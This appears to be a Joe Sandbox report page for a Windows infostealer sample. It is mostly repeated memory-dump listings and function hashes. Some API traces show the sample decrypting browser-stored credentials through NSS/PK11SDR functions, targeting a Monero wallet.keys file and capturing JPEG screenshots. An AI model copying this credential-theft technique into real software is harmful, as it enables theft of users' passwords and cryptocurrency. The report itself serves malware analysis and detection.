Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8bc0b13347c1cf1a26f8c095603cc3421953a600ced07c6f59bf177be363dd44
Instruction ID: bf3270f1d063d4e384aa27050aba58594e8062e9b526163b1a44f3af6f159d0a
Opcode Fuzzy Hash: 8bc0b13347c1cf1a26f8c095603cc3421953a600ced07c6f59bf177be363dd44
Instruction Fuzzy Hash: E2516BF36082049FE304AA7CED597BBBBD6DFD4310F1A493DDA85C3784E53588058686

Function 012FDE2D Relevance: .2, Instructions: 174COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7016c50d13d08ad029bc8d5143caa25c9040ddbc441678dae73b01b5992f5f12
Instruction ID: 0a2b7bc2a57bdaf7741c1eb3eb1ade032f5021fea69a80b7b04e4b4d2e3c00d2
Opcode Fuzzy Hash: 7016c50d13d08ad029bc8d5143caa25c9040ddbc441678dae73b01b5992f5f12
Instruction Fuzzy Hash: B851D7F39086008BE3116E2DDC8576AFBE5AFA4310F1B463CD6D487380EA7959148787

Function 0129D8B4 Relevance: .2, Instructions: 167COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e877635f80f1a2f6f6f6073cdecf9fda0cc55bd0d5cc8edeb4e614a1a580ddbd
Instruction ID: c50dfa07aa3ce941f829eee0f0360c1396babaed588c673f39e40e8b5b31d7c8
Opcode Fuzzy Hash: e877635f80f1a2f6f6f6073cdecf9fda0cc55bd0d5cc8edeb4e614a1a580ddbd
Instruction Fuzzy Hash: F64123F3D192241BE328292DEC497B7B7999B94360F2B423EED98A72C4E9790C0542C1

Function 01305AA2 Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ddb725462193677d9de53b821e02b7dfb60deb333b74004c486b19ac5b97bd8e
Instruction ID: 7f7e5cd474eafd54d9351c7bd214cbc2f0f7775abee2422fd5b8aae4b8609bec
Opcode Fuzzy Hash: ddb725462193677d9de53b821e02b7dfb60deb333b74004c486b19ac5b97bd8e
Instruction Fuzzy Hash: B74148F7E08100AFE3009D2ADC4076BB7D6EBD4310F1AC53D9984DB788E97598028292

Function 0148E45B Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37d7982a624185acf8606b9bcef249eaeb0dd041ba2e0176905e9317b81f0062
Instruction ID: d4afd4a5ec8642c2044e2986d8ddcf67843c532bd708eac483cd13c3ad6085d3
Opcode Fuzzy Hash: 37d7982a624185acf8606b9bcef249eaeb0dd041ba2e0176905e9317b81f0062
Instruction Fuzzy Hash: E4319FB251C3049FD719BF28D84277ABBE5EF48320F064A2DE7D583690DA3458408B87

Function 01019750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 0100C990 Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

NSS_Init.NSS3(00000000), ref: 0100C9A5

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Part of subcall function 0101A920: lstrcpy.KERNEL32(00000000,?), ref: 0101A972
Part of subcall function 0101A920: lstrcat.KERNEL32(00000000), ref: 0101A982

Part of subcall function 0101A8A0: lstrcpy.KERNEL32(?,01020E17), ref: 0101A905

Part of subcall function 0101A9B0: lstrlen.KERNEL32(?,01869010,?,\Monero\wallet.keys,01020E17), ref: 0101A9C5
Part of subcall function 0101A9B0: lstrcpy.KERNEL32(00000000), ref: 0101AA04
Part of subcall function 0101A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0101AA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,0186CDD0,00000000,?,0102144C,00000000,?,?), ref: 0100CA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0100CA89
GetFileSize.KERNEL32(00000000,00000000), ref: 0100CA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0100CAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0100CAD9
StrStrA.SHLWAPI(?,0186CEA8,01020B52), ref: 0100CAF7
StrStrA.SHLWAPI(00000000,0186CC20), ref: 0100CB1E
StrStrA.SHLWAPI(?,0186D7E8,00000000,?,01021458,00000000,?,00000000,00000000,?,01868C80,00000000,?,01021454,00000000,?), ref: 0100CCA2
StrStrA.SHLWAPI(00000000,0186D8A8), ref: 0100CCB9

Part of subcall function 0100C820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0100C871
Part of subcall function 0100C820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0100C87C
Part of subcall function 0100C820: PK11_GetInternalKeySlot.NSS3 ref: 0100C88A
Part of subcall function 0100C820: PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 0100C8A5
Part of subcall function 0100C820: PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 0100C8EB
Part of subcall function 0100C820: PK11_FreeSlot.NSS3(?), ref: 0100C961

StrStrA.SHLWAPI(?,0186D8A8,00000000,?,0102145C,00000000,?,00000000,01868D70), ref: 0100CD5A
StrStrA.SHLWAPI(00000000,01868FC0), ref: 0100CD71

Part of subcall function 0100C820: lstrcat.KERNEL32(?,01020B46), ref: 0100C943
Part of subcall function 0100C820: lstrcat.KERNEL32(?,01020B47), ref: 0100C957
Part of subcall function 0100C820: lstrcat.KERNEL32(?,01020B4E), ref: 0100C978

lstrlen.KERNEL32(00000000), ref: 0100CE44
CloseHandle.KERNEL32(00000000), ref: 0100CE9C
NSS_Shutdown.NSS3 ref: 0100CEAA

Strings

, xrefs: 0100C9C6

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$K11_lstrlen$PointerSlot$AuthenticateBinaryCloseCreateCryptDecryptFreeHandleInitInternalReadShutdownSizeString
String ID:
API String ID: 1052888304-3916222277
Opcode ID: f48105c9decd476a28d8dda8485cc0765a0824b8ab5be5dfd57c5752caa22196
Instruction ID: 2df4ef8cf75281f258c330cc116ad023f7048dbe6fd02a4ced9922e478d863fd
Opcode Fuzzy Hash: f48105c9decd476a28d8dda8485cc0765a0824b8ab5be5dfd57c5752caa22196
Instruction Fuzzy Hash: 69E16D76A01149EBDB15EBA0EC94FEEB778AF24300F404159F54767198EF386A4ACF60

Function 01019010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 0101906C

Strings

image/jpeg, xrefs: 01019136

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: 9a764581edb1aa74b3210e08eb3f039e425dd217e794d5f02fd2211032cc4e54
Instruction ID: b5e385e978d2b794a18f739b23a526ad0adf13e5a9801a0190b007a412891ff5
Opcode Fuzzy Hash: 9a764581edb1aa74b3210e08eb3f039e425dd217e794d5f02fd2211032cc4e54
Instruction Fuzzy Hash: 5571F075950208EBDB14DFE4E898FDEB7B9FF48700F108508F556AB284DB38A905CB60

Function 010117A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 010117C5
ExitProcess.KERNEL32 ref: 010117D1

Strings

block, xrefs: 010117B7

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
